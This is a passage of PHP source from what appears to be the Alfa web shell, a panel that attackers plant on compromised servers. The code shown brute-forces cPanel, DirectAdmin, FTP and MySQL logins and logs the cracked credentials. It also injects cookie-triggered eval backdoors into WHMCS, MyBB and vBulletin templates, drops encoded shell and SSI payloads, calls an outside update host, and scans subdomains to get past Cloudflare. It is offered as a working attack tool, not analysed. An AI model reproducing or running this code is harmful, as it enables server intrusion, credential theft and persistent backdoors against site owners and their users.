curl_setopt($curl, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 6.2; WOW64; rv:17.0) Gecko/20100101 Firefox/17.0');
curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt($curl, CURLOPT_HEADER, 0);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($curl, CURLOPT_HTTPHEADER, array("Authorization: Basic " . __ZW5jb2Rlcg($info['username'] . ":" . $info['password']) . "\n\r"));
curl_setopt($curl, CURLOPT_URL, $url);
$result = @curl_exec($curl);
$curl_errno = curl_errno($curl);
$curl_error = curl_error($curl);
if ($curl_errno > 0) {
echo "<font color='red'>Error: {$curl_error}</font><br>";
} elseif (preg_match('/filemanager/i', $result)) {
echo 'UserName: <font color="red">' . $info['username'] . '</font> PassWord: <font color="red">' . $info['password'] . '</font><font color="green"> Login Success....</font><br>';
$info['target'] = $url;
CrackerResualt($info);
}
curl_close($curl);
}
function Alfa_FTP_Cracker($info)
{
$url = $info['protocol'] . $info['target'];
$curl = curl_init();
curl_setopt($curl, CURLOPT_URL, $url);
curl_setopt($curl, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 6.2; WOW64; rv:17.0) Gecko/20100101 Firefox/17.0');
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($curl, CURLOPT_USERPWD, "" . $info['username'] . ":" . $info['password'] . "");
$result = @curl_exec($curl);
$curl_errno = curl_errno($curl);
$curl_error = curl_error($curl);
if ($curl_errno > 0) {
echo "<font color='red'>Error: {$curl_error}</font><br>";
} elseif (preg_match('/(\\d+):(\\d+)/i', $result)) {
echo 'UserName: <font color="red">' . $info['username'] . '</font> PassWord: <font color="red">' . $info['password'] . '</font><font color="green"> Login Success....</font><br>';
$info['target'] = $url;
CrackerResualt($info);
}
curl_close($curl);
}
function Alfa_Mysql_Cracker($info)
{
if (@mysqli_connect($info['target'] . ':' . $info['port'], $info['username'], $info['password'])) {
CrackerResualt($info);
echo 'UserName: <font color="red">' . $info['username'] . '</font> PassWord: <font color="red">' . $info['password'] . '</font><font color="green"> Login Success....</font><br>';
}
}
function Alfa_FTPC($info)
{
if ($con = @ftp_connect($info['target'], $info['port'])) {
if ($con) {
$login = @ftp_login($con, $info['username'], $info['password']);
if ($login) {
CrackerResualt($info);
}
}
}
@ftp_close($con);
}
function CrackerResualt($info)
{
$res = $info['target'] . ' => ' . $info['username'] . ":" . $info['password'] . "\n";
$c = @fopen($info['fcrack'], 'a+');
@fwrite($c, $res);
@fclose($c);
}
function Alfa_Call_Function_Cracker($method, $info)
{
switch ($method) {
case 'cp':
return Alfa_CP_Cracker($info);
case 'direct':
case 'phpmyadmin':
return Alfa_DirectAdmin_Cracker($info);
case 'ftp':
return Alfa_FTP_Cracker($info);
case 'mysql':
return Alfa_Mysql_Cracker($info);
case 'mysql':
return Alfa_FTPC($info);
}
}
function alfaCrackers()
{
alfahead();
AlfaNum(9, 10);
echo "<div class=\"header\"><center><br><div class=\"txtfont_header\">| Brute Forcer |</div><br><br><form method=\"post\" onsubmit=\"g('Crackers',null,this.target.value,this.port.value,this.usernames.value,this.passwords.value,this.fcrack.value,'start',this.protocol.value,this.loginpanel.value);return false;\"><div class=\"txtfont\">Login Page: <select onclick=\"dis_input(this.value);\" name=\"loginpanel\">";
foreach (array('cp' => 'Cpanel', 'direct' => 'DirectAdmin', 'ftp' => 'FTP', 'phpmyadmin' => 'PhpMyAdmin[DirectAdmin]', 'mysql' => 'mysql_connect()', 'ftpc' => 'ftp_connect()') as $key => $val) {
echo '<option value="' . $key . '">' . $val . '</option>';
}
echo "</select> Protocol: <select id=\"protocol\" name=\"protocol\">";
foreach (array('https://', 'http://', 'ftp://') as $val) {
echo '<option value="' . $val . '">' . $val . '</option>';
}
echo '</select> Website/ip Address: <input id="target" type="text" name="target" value="localhost">
Port: <input id="port" type="text" name="port" value="2083">
<table width="30%"><td align="center">Users List</td><td align="center">Passwords</td></table>
<textarea placeholder="Users" rows="20" cols="25" name="usernames">' . ($GLOBALS['sys'] == 'unix' ? alfaEx("cut -d: -f1 /etc/passwd") : "") . '</textarea>
  <textarea placeholder="Passwords" rows="20" cols="25" name="passwords"></textarea><br><br>
Save Result Into File <input type="text" name="fcrack" value="cracked.txt">
<p><input type="submit" name="cracking" value=" " /></div></form></p><center>';
$target = str_replace(array('https://', 'http://', 'ftp://'), '', $_POST['alfa1']);
$port = $_POST['alfa2'];
$usernames = $_POST['alfa3'];
$passwords = $_POST['alfa4'];
$fcrack = $_POST['alfa5'];
$cracking = $_POST['alfa6'];
$protocol = $_POST['alfa7'];
$loginpanel = $_POST['alfa8'];
$p = $loginpanel == 'phpmyadmin' ? $p = true : false;
if ($cracking == 'start') {
echo __pre();
$exuser = explode("\n", $usernames);
$expw = explode("\n", $passwords);
foreach ($exuser as $user) {
foreach ($expw as $pw) {
$array = array('username' => trim($user), 'password' => trim($pw), 'port' => trim($port), 'target' => trim($target), 'protocol' => trim($protocol), 'fcrack' => trim($fcrack), 'mysql' => $p);
Alfa_Call_Function_Cracker($loginpanel, $array);
}
}
echo "<br><font color=\"red\">Attack Finished...</font>";
}
echo "</div>";
alfafooter();
}
function output($string)
{
echo "<br><pre id=\"strOutput\" style=\"margin-top:5px\" class=\"ml1\"><br><center><font color=red><a target='_blank' href='" . $string . "'>Click Here !</a></font></b></center><br><br>";
}
function alfaShellInjectors()
{
alfahead();
echo "<div class=header>";
AlfaNum(11);
echo "<center><p><div class=\"txtfont_header\">| Cms Shell Injector |</div></p><center><h3><a href=javascript:void(0) onclick=\"g('ShellInjectors',null,'whmcs',null)\">| WHMCS | </a><a href=javascript:void(0) onclick=\"g('ShellInjectors',null,null,'mybb')\">| MyBB | </a><a href=javascript:void(0) onclick=\"g('ShellInjectors',null,null,null,'vb')\">| vBulletin |</a></h3></center>";
$selector = '<p><div class="txtfont">Shell Inject Method : </div> <select name="method" style="width:100px;"><option value="auto">AutoMatic</option><option value="man">Manuel</option></select></p>';
if (isset($_POST['alfa1']) && $_POST['alfa1'] == 'whmcs') {
AlfaNum();
echo __pre() . "<p><div class='txtfont_header'>| WHMCS |</div></p><center><center><p>" . getConfigHtml('whmcs') . "</p><form onSubmit=\"g('ShellInjectors',null,'whmcs',null,null,this.method.value,null,this.dbu.value,this.dbn.value,this.dbp.value,this.dbh.value,this.path.value); return false;\" method='post'>";
$table = array('td1' => array('color' => 'FFFFFF', 'tdName' => 'Path WHMCS Url : ', 'inputName' => 'path', 'inputValue' => 'http://site.com/whmcs', 'inputSize' => '50'), 'td2' => array('color' => 'FFFFFF', 'tdName' => 'Mysql Host : ', 'inputName' => 'dbh', 'id' => 'db_host', 'inputValue' => 'localhost', 'inputSize' => '50'), 'td3' => array('color' => 'FFFFFF', 'tdName' => 'Db Name : ', 'inputName' => 'dbn', 'id' => 'db_name', 'inputValue' => '', 'inputSize' => '50'), 'td4' => array('color' => 'FFFFFF', 'tdName' => 'Db User : ', 'inputName' => 'dbu', 'id' => 'db_user', 'inputValue' => '', 'inputSize' => '50'), 'td5' => array('color' => 'FFFFFF', 'tdName' => 'Db Pass : ', 'inputName' => 'dbp', 'id' => 'db_pw', 'inputValue' => '', 'inputSize' => '50'));
create_table($table);
echo "<p><div class=\"txtfont\">Shell Inject Method : </div> <select name=\"method\" style=\"width:100px;\"><option value=\"auto\">AutoMatic</option><option value=\"man\">Manuel</option></select></p>";
echo "<p><input type='submit' value=' '></p></form></center></td></tr></table></center>";
if (isset($_POST['alfa6'])) {
$dbu = $_POST['alfa6'];
$dbn = $_POST['alfa7'];
$dbp = $_POST['alfa8'];
$dbh = $_POST['alfa9'];
$path = $_POST['alfa10'];
$method = $_POST['alfa4'];
$index = "{php}ALFA_UPLOADER;{/php}";
$newin = "{php}ALFA_UPLOADER;{/php}";
$newindex = "<p>Dear {php}ALFA_UPLOADER;{/php},</p><p>Recently a request was submitted to reset your password for our client area. If you did not request this, please ignore this email. It will expire and become useless in 2 hours time.</p><p>To reset your password, please visit the url below:<br /><a href=\"{\$pw_reset_url}\">{\$pw_reset_url}</a></p><p>When you visit the link above, your password will be reset, and the new password will be emailed to you.</p><p>{\$signature}</p>{php}if(\$_COOKIE[\"sec\"] == \"123\"){eval(base64_decode(\$_COOKIE[\"sec2\"])); die(\"!\");}{\\/php}";
if (!empty($dbh) && !empty($dbu) && !empty($dbn) && !empty($index)) {
if (filter_var($path, FILTER_VALIDATE_URL)) {
$conn = mysqli_connect($dbh, $dbu, $dbp, $dbn) or die(mysqli_connect_error());
$soleSave = mysqli_query($conn, "select message from tblemailtemplates where name='Password Reset Validation'");
$soleGet = mysqli_fetch_assoc($soleSave);
$tempSave1 = $soleGet['message'];
$tempSave = str_replace("'", "\\'", $tempSave1);
mysqli_query($conn, "UPDATE tblconfiguration SET value = '1' WHERE setting = 'AllowSmartyPhpTags'") or die(mysqli_error($conn));
$inject = "UPDATE tblemailtemplates SET message='<p>Dear {php}ALFA_UPLOADER;{/php},</p><p>Recently a request was submitted to reset your password for our client area. If you did not request this, please ignore this email. It will expire and become useless in 2 hours time.</p><p>To reset your password, please visit the url below:<br /><a href=\"{\$pw_reset_url}\">{\$pw_reset_url}</a></p><p>When you visit the link above, your password will be reset, and the new password will be emailed to you.</p><p>{\$signature}</p>{php}if(\$_COOKIE[\"sec\"] == \"123\"){eval(base64_decode(\$_COOKIE[\"sec2\"])); die(\"!\");}{\\/php}' WHERE name='Password Reset Validation'";
$result = mysqli_query($conn, $inject) or die(mysqli_error($conn));
$create = "insert into tblclients (email) values('solevisible@fbi.gov')";
$result2 = mysqli_query($conn, $create) or die(mysqli_error($conn));
if (function_exists('curl_version') && $method == 'auto') {
$AlfaSole = new AlfaCURL(true);
$saveurl = $AlfaSole->Send($path . "/pwreset.php");
$getToken = preg_match("/name=\"token\" value=\"(.*?)\"/i", $saveurl, $token);
$AlfaSole->Send($path . "/pwreset.php", "post", "token={$token[1]}&action=reset&email=solevisible@fbi.gov");
$backdata = "UPDATE tblemailtemplates SET message='{$tempSave}' WHERE name='Password Reset Validation'";
$Solevisible = mysqli_query($conn, $backdata) or die(mysqli_error($conn));
__alert("shell injectet...");
$ff = 'http://' . $path . "/solevisible.php";
output($ff);
} else {
echo "<br><pre id=\"strOutput\" style=\"margin-top:5px\" class=\"ml1\"><br><center><b><font color=\"#FFFFFF\">Please go to Target => </font><a href='" . $path . "/pwreset.php' target='_blank'>" . $path . "/pwreset.php</a><br/><font color='#FFFFFF'> And Reset Password With Email</font> => <font color=red>solevisible@fbi.gov</font><br/><font color='#FFFFFF'>And Go To => </font><a href='" . $path . "/solevisible.php' target='_blank'>" . $path . "/solevisible.php</a></b></center><br><br>";
}
} else {
__alert('Path is not Valid...');
}
}
}
}
if (isset($_POST['alfa2']) && $_POST['alfa2'] == 'mybb') {
AlfaNum(1, 2, 3, 5);
echo __pre() . "<p><div class='txtfont_header'>| MyBB |</div></p><center><center>" . getConfigHtml("mybb") . "<form id='sendajax' onSubmit=\"g('ShellInjectors',null,null,'mybb',null,this.method.value,null,this.dbu.value,this.dbn.value,this.dbp.value,this.dbh.value,this.prefix.value); return false;\" method=POST>\r\n";
$table = array('td1' => array('color' => 'FFFFFF', 'tdName' => 'Host : ', 'inputName' => 'dbh', 'id' => 'db_host', 'inputValue' => 'localhost', 'inputSize' => '50'), 'td2' => array('color' => 'FFFFFF', 'tdName' => 'DataBase Name : ', 'inputName' => 'dbn', 'id' => 'db_name', 'inputValue' => '', 'inputSize' => '50'), 'td3' => array('color' => 'FFFFFF', 'tdName' => 'User Name : ', 'inputName' => 'dbu', 'id' => 'db_user', 'inputValue' => '', 'inputSize' => '50'), 'td4' => array('color' => 'FFFFFF', 'tdName' => 'Password : ', 'inputName' => 'dbp', 'id' => 'db_pw', 'inputValue' => '', 'inputSize' => '50'), 'td5' => array('color' => 'FFFFFF', 'tdName' => 'Table Prefix : ', 'inputName' => 'prefix', 'id' => 'db_prefix', 'inputValue' => 'mybb_', 'inputSize' => '50'));
create_table($table);
echo $selector;
echo "<p><input type=submit value=' '></p></form></center></center>";
if (isset($_POST['alfa6'])) {
$dbu = $_POST['alfa6'];
$dbn = $_POST['alfa7'];
$dbp = $_POST['alfa8'];
$dbh = $_POST['alfa9'];
$prefix = $_POST['alfa10'];
$method = $_POST['alfa4'];
$shellCode = "{\${ALFA_UPLOADER}}";
$newinshell = "{\${ALFA_UPLOADER}}";
if (!empty($dbh) && !empty($dbu) && !empty($dbn) && !empty($newinshell)) {
$conn = mysqli_connect($dbh, $dbu, $dbp, $dbn) or die(mysqli_error($conn));
$inject = "select template from {$prefix}templates where title= 'calendar'";
$result = mysqli_query($conn, $inject) or die(mysqli_error($conn));
$GetTemp = mysqli_fetch_assoc($result);
$saveDate = $GetTemp['template'];
$repsave = str_replace($shellCode, "", $saveDate);
$repsave = str_replace("'", "\\'", $repsave);
$createShell = "update {$prefix}templates SET template= '" . $newinshell . $repsave . "' where title = 'calendar'";
$result2 = mysqli_query($conn, $createShell) or die(mysqli_error($conn));
$geturl = "select value from {$prefix}settings where name= 'bburl'";
$findurl = mysqli_query($conn, $geturl) or die(mysqli_error($conn));
$rowb = mysqli_fetch_assoc($findurl);
$furl = $rowb['value'];
$realurl = parse_url($furl, PHP_URL_HOST);
$realpath = parse_url($furl, PHP_URL_PATH);
$res = false;
$AlfaCurl = new AlfaCURL();
if (extension_loaded('sockets') && function_exists('fsockopen') && $method == 'auto') {
if ($fsock = @fsockopen($realurl, 80, $errno, $errstr, 10)) {
@fputs($fsock, "GET {$realpath}/calendar.php HTTP/1.1\r\n");
@fputs($fsock, "HOST: {$realurl}\r\n");
@fputs($fsock, "Connection: close\r\n\r\n");
$check = fgets($fsock);
if (preg_match("/200 OK/i", $check)) {
$repairdbtemp = "update {$prefix}templates SET template= '{$repsave}' where title = 'calendar'";
$clear = mysqli_query($conn, $repairdbtemp) or die(mysqli_error($conn));
$res = true;
}
@fclose($fsock);
}
} elseif (function_exists('curl_version') && $method == 'auto') {
$AlfaCurl->Send($realurl . $realpath . "/calendar.php");
$res = true;
}
if ($res) {
$ff = 'http://' . $realurl . $realpath . "/solevisible.php";
output($ff);
} else {
$ff = 'http://' . $realurl . $realpath . "/calendar.php";
$fff = 'http://' . $realurl . $realpath . "/solevisible.php";
echo "<br><pre id='strOutput' style='margin-top:5px' class='ml1'><br><center><b><font color='#FFFFFF'>Please Go To Target => </font><a href='" . $ff . "' target='_blank'>" . $ff . "</a><br/><font color='#FFFFFF'>And Go To => </font><a href='" . $fff . "' target='_blank'>" . $fff . "</a></b></center><br><br>";
}
}
}
}
if (isset($_POST['alfa3']) && $_POST['alfa3'] == 'vb') {
AlfaNum(1, 2, 7, 9, 10);
echo __pre() . '<p><div class="txtfont_header">| vbulletin |</div></p><p>' . getConfigHtml('vb') . '</p><form name="frm" method="POST" onsubmit="g(\'ShellInjectors\',null,null,this.lo.value,\'vb\',this.user.value,this.pass.value,this.tab.value,this.db.value,this.method.value); return false;">';
$table = array('td1' => array('color' => 'FFFFFF', 'tdName' => 'Host : ', 'inputName' => 'lo', 'id' => 'db_host', 'inputValue' => 'localhost', 'inputSize' => '50'), 'td2' => array('color' => 'FFFFFF', 'tdName' => 'DataBase Name : ', 'inputName' => 'db', 'id' => 'db_name', 'inputValue' => '', 'inputSize' => '50'), 'td3' => array('color' => 'FFFFFF', 'tdName' => 'User Name : ', 'inputName' => 'user', 'id' => 'db_user', 'inputValue' => '', 'inputSize' => '50'), 'td4' => array('color' => 'FFFFFF', 'tdName' => 'Password : ', 'inputName' => 'pass', 'id' => 'db_pw', 'inputValue' => '', 'inputSize' => '50'), 'td5' => array('color' => 'FFFFFF', 'tdName' => 'Table Prefix : ', 'inputName' => 'tab', 'id' => 'db_prefix', 'inputValue' => '', 'inputSize' => '50'));
create_table($table);
echo $selector;
echo "<p><input type=\"submit\" value=\" \" /></p></form></center>";
if (isset($_POST['alfa4']) && !empty($_POST['alfa4'])) {
$method = $_POST['alfa8'];
$faq_name = "faq";
$faq_file = "/faq.php";
$code = "{\${ALFA_UPLOADER}}{\${exit()}}&";
$conn = @mysqli_connect($_POST['alfa2'], $_POST['alfa4'], $_POST['alfa5'], $_POST['alfa7']) or die(@mysqli_connect_error());
$rec = "select `template` from " . $_POST['alfa6'] . "template WHERE title ='" . $faq_name . "'";
$recivedata = @mysqli_query($conn, $rec);
$getd = @mysqli_fetch_assoc($recivedata);
$savetoass = $getd['template'];
if (empty($savetoass)) {
$faq_name = "header";
$faq_file = "/";
$rec = "select `template` from " . $_POST['alfa6'] . "template WHERE title ='" . $faq_name . "'";
$recivedata = @mysqli_query($conn, $rec);
$getd = @mysqli_fetch_assoc($recivedata);
$savetoass = $getd['template'];
$code = "ALFA_UPLOADER;";
}
$code = str_replace("'", "\\'", $code);
$p = "UPDATE " . $_POST['alfa6'] . "template SET `template`='" . $code . "' WHERE `title`='" . $faq_name . "'";
$ka = @mysqli_query($conn, $p) or die(mysqli_error($conn));
$geturl = @mysqli_query($conn, "select `value` from " . $_POST['alfa6'] . "setting WHERE `varname`='bburl'");
$getval = @mysqli_fetch_assoc($geturl);
$saveval = $getval['value'];
if ($faq_name == "header") {
if (substr($saveval, -5, 5) == "/core") {
$saveval = substr($saveval, 0, -5);
}
}
$realurl = parse_url($saveval, PHP_URL_HOST);
$realpath = parse_url($saveval, PHP_URL_PATH);
$res = false;
$AlfaCurl = new AlfaCURL();
if (extension_loaded('sockets') && function_exists('fsockopen') && $method == 'auto') {
if ($fsock = @fsockopen($realurl, 80, $errno, $errstr, 10)) {
@fputs($fsock, "GET {$realpath}.{$faq_file} HTTP/1.1\r\n");
@fputs($fsock, "HOST: {$realurl}\r\n");
@fputs($fsock, "Connection: close\r\n\r\n");
$check = fgets($fsock);
if (preg_match("/200 OK/i", $check)) {
$p1 = "UPDATE " . $_POST['alfa6'] . "template SET template ='" . mysqli_real_escape_string($conn, $savetoass) . "' WHERE title ='" . $faq_name . "'";
$ka1 = @mysqli_query($conn, $p1) or die(mysqli_error($conn));
$res = true;
}
@fclose($fsock);
}
} elseif (function_exists('curl_version') && $method == 'auto') {
$AlfaCurl->Send($realurl . $realpath . $faq_file);
$p1 = "UPDATE " . $_POST['alfa6'] . "template SET template ='" . mysqli_real_escape_string($conn, $savetoass) . "' WHERE title ='" . $faq_name . "'";
$ka1 = @mysqli_query($conn, $p1) or die(mysqli_error($conn));
$res = true;
}
if ($res) {
$ff = 'http://' . $realurl . $realpath . "/solevisible.php";
output($ff);
} else {
$ff = 'http://' . $realurl . $realpath . $faq_file;
$fff = 'http://' . $realurl . $realpath . "/solevisible.php";
echo "<center><p><font color=\"#FFFFFF\">First Open This Link => </font><a href='" . $ff . "' target='_blank'>" . $ff . "</a><br/><font color=\"#FFFFFF\">Second Open This Link => </font><a href='" . $fff . "' target='_blank'>" . $fff . "</a></center></p>";
}
}
}
echo "</div>";
alfafooter();
}
function alfacheckfiletype()
{
$path = $_POST['path'];
$arg = $_POST['arg'];
if (@is_file($path . '/' . $arg)) {
echo "file";
} else {
echo "dir";
}
}
function alfacheckupdate()
{
if ($GLOBALS["DB_NAME"]["cgi_api"]) {
if (!isset($_COOKIE["alfacgiapi_mode"]) && !isset($_COOKIE["alfacgiapi"])) {
_alfa_cgicmd("whoami", "perl", true);
if (strlen(alfaEx("whoami", false, true)) > 0) {
__alfa_set_cookie("alfa_canruncmd", "true");
}
}
}
if (function_exists("curl_version")) {
$update = new AlfaCURL();
$json = $update->Send("http://solevisible.com/update.json?ver=4.1");
$json = @json_decode($json, true);
$data = array();
if ($json) {
if (!isset($_COOKIE['alfa_checkupdate']) && !empty($json["type"])) {
if ($json["type"] == "update") {
if (__ALFA_VERSION__ != $json['version'] || __ALFA_UPDATE__ != $json['version_number']) {
@setcookie("alfa_checkupdate", "1", time() + 86400);
$data["content"] = '<div class="update-holder">' . $json["content"] . '</div>';
}
}
}
if (isset($json["ads"]) && !empty($json["ads"])) {
$data["content"] .= $json["ads"];
}
if (isset($json["copyright"]) && !empty($json["copyright"])) {
$data["copyright"] = $json["copyright"];
}
if (isset($json["solevisible"]) && !empty($json["solevisible"])) {
$data["solevisible"] = $json["solevisible"];
}
if (isset($json["code_name"]) && !empty($json["code_name"])) {
$data["code_name"] = $json["code_name"];
$data["version_number"] = __ALFA_VERSION__;
}
if (isset($json["market"]) && !empty($json["market"])) {
$data["market"] = $json["market"];
}
echo @json_encode($data);
}
}
}
function alfaWriteTocgiapi($name, $source)
{
$temp = "";
$not_api = array("basedir.alfa", "getdir.alfa", "getheader.alfa");
if (in_array($name, $not_api)) {
$temp = ALFA_TEMPDIR;
if ($temp) {
@chdir($temp);
}
} else {
alfaCreateParentFolder();
@chdir($GLOBALS['home_cwd'] . "/" . __ALFA_DATA_FOLDER__);
}
@mkdir('alfacgiapi', 0755);
__write_file("alfacgiapi/" . $name, __get_resource($source));
@chmod("alfacgiapi/" . $name, 0755);
return $temp;
}
function alfacheckcgi()
{
if (strlen(alfaEx("id", false, true, true)) > 0) {
echo "ok";
} else {
echo "no";
}
}
function alfaupdateheader()
{
if (!isset($_COOKIE["updateheader_data"])) {
$bash = "zZRdb9owFIavya849dIGJLK0vVyFNFTohERBgtFdQIRM4hAL40R2UkYp/312gPARqLqbaYnyIfs8x+85r+UvV04qhTOh3JGhMeg3nwbtWnnqecDUoz8+zPGMQBzGEBPBIF4mYcRBpJMlJFjA9I3GMNm+MAvwPXCFRR5OCMiU+pqqGI3ur067W280e/1aeTElCQQk8UJgS/4bGOUzCV6q0usZtojtORUiEhWDeGEENgFrhVJJgpShb8ORZxlBJIAC5WCuNqqH3931A/iRAepahNQLa2Y5+4JJK0ZpOIQrsN8AmdkgAteFmxvY5R8hk45Q1VK5q4YfcZKvjEbqdqsjD+3FID9acBZhn4iinoNS/62olOM5UXqQZZazf7AxvKu+JmB7d/bd/W3FyiDrEJJEUH9LyQTrWEDXKQzhegAuUtpu0RluKqI0PgNONfjjA9CP5phyqUE98dLq/RzU2+NG97ne6vRryFH7wnmlIkkxczbBqtlESGR06s/Nxvix23nahuki/a9exANkvNTbrXq/mWfAjGJJpKNneuMMVVOvWGwoNU4DUAbobponKrQRD5CEhBulbZT4OKq0K9As48UMrGansYoF5Ql0emsLTtEK7PqgLYQSYftljhpwYQ0mC3HvsPDAZseZjxKb+/79jfQ9VcgtyQGOHrFiegT7aguc2ANuRgTUyAWRgiC99XNDtm4Wx7deXrLogLvQt4OYsz07duP8isWUedB/7sOnXbgs9KT2w6CzxW/0fX6baH35ceGu1SnxBw==";
$realdir = addslashes(dirname($_SERVER["SCRIPT_FILENAME"]));
$tmp_path = alfaWriteTocgiapi("getheader.alfa", $bash);
$data = alfaEx("cd '{$tmp_path}/alfacgiapi';sh getheader.alfa", false, true, true);
if (@is_array(@json_decode($data, true))) {
__alfa_set_cookie("updateheader_data", __ZW5jb2Rlcg($data));
echo $data;
}
} else {
echo __ZGVjb2Rlcg($_COOKIE["updateheader_data"]);
}
}
function alfassiShell()
{
alfahead();
echo "<div class=header>";
alfaCreateParentFolder();
@chdir($GLOBALS['home_cwd'] . "/" . __ALFA_DATA_FOLDER__);
@mkdir('alfa_shtml', 0755);
@chdir('alfa_shtml');
alfacgihtaccess('shtml');
$code = 'rVb9b9s2EP1Xrky22MhsKcu6ptbH0A+vzYbCXeztl6YoZImS2VCkQFJOvCX/+46SrChOnKRBA8ORyOPju3ePR/vPBoOdWIqUZUCVynUWkE9jpaT6TAaD0O9Ma/YvTXMTkPnKUN3OshToRaEC0jslu+9ns49f3kwmfx6PTwkEcEpOSR8uL8FOnoz/+ns8nX35MJ69n7zF+Wc24N14hjEE1niaGlhGiKcXnOATL2lAuIYBj66DKNf03hVdJterRIJs8Q2+C/OPk+kW6kzELXVnOLzjQ03sFJHW58lDSXWwNpOCzawWJuehv6BREvqGGU7DVzyNYEajHKbTY5guKOe+U0/5OlasMMAjkZVRhlS/RsuoHiRhWorYMCkgkcz0IJcJhT78x9IejsRlToUZxlKeMWrFIMROIl+oxzQquBE21AW3SMTDWC+VqmfzA4aRrof//PXSIaciMwsP9vcZ9Dc3C9Zhn3DNZ9hHPCwiU1QHs0X5E7gH8Eck4ODlCxdcd1R94N2HGfGubkO1Ixk1Y07t4+vVcbJOd1jJ7rVRXMaR1WSoKJdR0ut7V61MRmYZpz1giVViO7KdH2qz4nSYMJQkWiGP3jeFo9xCCor2/A3IHEmdERg1Y96V79QlDH2nNsJcJiuQwjIOyLaN9mKZ55FI9vrDFEM05kZgnsWSS/Tgjlv9EYg4E2fYAVAWNGXnBbdRoZ+wZejHiEnxZXEY+qkUBtYgz1/G8eEhCS/hDlfCpe/YaEsbFzprFAvbPod+2WDaZhSQ/QOCmcWcxcijqcAeFcs9y75SLSBxqbRUo0IyC+JVZEaKJh4Jx2LJlLQaABOpbAngJs68wwHTwkIEBJFb2KYaI6t6A7rz64tXr9/+7jViFIrWR7lQdmuxtEfbqUbttFOJVX/f0u5xmWK/e2Smb+rqAh470HUT2JJrTchmjLXOBKJWEwTOWWIWATlw3R/QGVIlFGuKlrDCVI23YTGP4rNMyVIkg0aW2jzezZ57/31QNcUbEt9sdY3E8w2H1QWwhUXK0Fi6TXUejn4Uc1143W8EUDnk1CwkJoKnwuqsy3nOjD0t2LGuj4atLBNFacCsCkzV0AsMrwt01EjRBJOwge/G17DtzXBSCgR0LIFbPt8o/WaCJ1SX3HQyu3lgLLFI0ahzgukv1E2OKiSNVfwZQZU8t4/PSXP9XNAY4jwJdrGc1T3krHHwaql8AX5r129zKl5ij3TqpKCqarIaUSBlnOoHz2V1RT7Srt/JpfXdX9m0Rny6Wf9h9LxKFHrYjkwZcexGMS8T2h91KvyQdQup7/Du0gLf69wjt9KwCnySa7flNUX0BxLYtrTSL7X0oJEk2EVNrJj1yuonaNf+T3Z9I/WtfTrmv9WuHXul2ovK/tz6Hw==';
@__write_file('alfa_ssi.shtml', __get_resource($code));
@chmod("alfa_ssi.shtml", 0755);
echo AlfaiFrameCreator('alfa_shtml/alfa_ssi.shtml');
echo "</div>";
alfafooter();
}
function alfacloudflare()
{
alfahead();
AlfaNum(8, 9, 10, 7, 6, 5, 4, 3);
echo "<div class=header><center><br><div class='txtfont_header'>| Cloud Flare ByPasser |</div><br><form action='' onsubmit=\"g('cloudflare',null,this.url.value,'>>'); return false;\" method='post'>\r\n<p><div class='txtfont'>Target:</div> <input type='text' size=30 name='url' style='text-align:center;' placeholder=\"target.com\"> <input type='submit' name='go' value=' ' /></p></form></center>";
if ($_POST['alfa2'] && $_POST['alfa2'] == '>>') {
$url = $_POST['alfa1'];
if (!preg_match('/^(https?):\\/\\/(w{3}|w3)\\./i', $url)) {
$url = preg_replace('/^(https?):\\/\\//', '', $url);
$url = "http://www." . $url;
}
$headers = @get_headers($url, 1);
$server = $headers['Server'];
$subs = array('owa.', '2tty.', 'm.', 'gw.', 'mx1.', 'store.', '1', '2', 'vb.', 'news.', 'download.', 'video', 'cpanel.', 'ftp.', 'server1.', 'cdn.', 'cdn2.', 'ns.', 'ns3.', 'mail.', 'webmail.', 'direct.', 'direct-connect.', 'record.', 'ssl.', 'dns.', 'help.', 'blog.', 'irc.', 'forum.', 'dl.', 'my.', 'cp.', 'portal.', 'kb.', 'support.', 'search.', 'docs.', 'files.', 'accounts.', 'secure.', 'register.', 'apps.', 'beta.', 'demo.', 'smtp.', 'ns2.', 'ns1.', 'server.', 'shop.', 'host.', 'web.', 'cloud.', 'api.', 'exchange.', 'app.', 'vps.', 'owa.', 'sat.', 'bbs.', 'movie.', 'music.', 'art.', 'fusion.', 'maps.', 'forums.', 'acc.', 'cc.', 'dev.', 'ww42.', 'wiki.', 'clients.', 'client.', 'books.', 'answers.', 'service.', 'groups.', 'images.', 'upload.', 'up.', 'tube.', 'users.', 'admin.', 'administrator.', 'private.', 'design.', 'whmcs.', 'wp.', 'wordpress.', 'joomla.', 'vbulletin.', 'test.', 'developer.', 'panel.', 'contact.');
if (preg_match('/^(https?):\\/\\/(w{3}|w3)\\./i', $url, $matches)) {
if ($matches[2] != 'www') {
$url = preg_replace('/^(https?):\\/\\//', '', $url);
} else {
$url = explode($matches[0], $url);
$url = $url[1];
}
}
if (is_array($server)) {
$server = $server[0];
}
echo __pre();
if (preg_match('/cloudflare/i', $server)) {
echo "\n[+] CloudFlare detected: {$server}\n<br>";
} else {
echo "\n[+] CloudFlare wasn't detected, proceeding anyway.\n";
}
echo '[+] CloudFlare IP: ' . is_ipv4(gethostbyname($url)) . "\n\n<br><br>";
echo "[+] Searching for more IP addresses.\n\n<br><br>";
for ($x = 0; $x < count($subs); $x++) {
$site = $subs[$x] . $url;
$ip = is_ipv4(gethostbyname($site));
if ($ip == '(Null)') {
continue;
}
echo "Trying {$site}: {$ip}\n<br>";
}
echo "\n[+] Finished.\n<br>";
}
echo "</div>";
alfafooter();
}
function is_ipv4($ip)
{
return filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_IPV4) ? $ip : '(Null)';
}
function __alert($s)
{
echo '<center>' . __pre() . $s . '</center>';
}
function create_table($data)
{
echo "<table border=\"1\">";
foreach ($data as $key => $val) {
$array = array();
foreach ($val as $k => $v) {
$array[$k] = $v;
}
echo "<tr><td><div class='tbltxt'>" . $array['tdName'] . "</div></td><td><input type='text' id='" . $array['id'] . "' name='" . $array['inputName'] . "' " . ($array['placeholder'] ? 'placeholder' : 'value') . "='" . $array['inputValue'] . "' size='" . $array['inputSize'] . "' " . ($array['disabled'] ? 'disabled' : '') . "></td></tr>";
}
echo "</table>";
}
function alfaphp2xml()
{
alfahead();
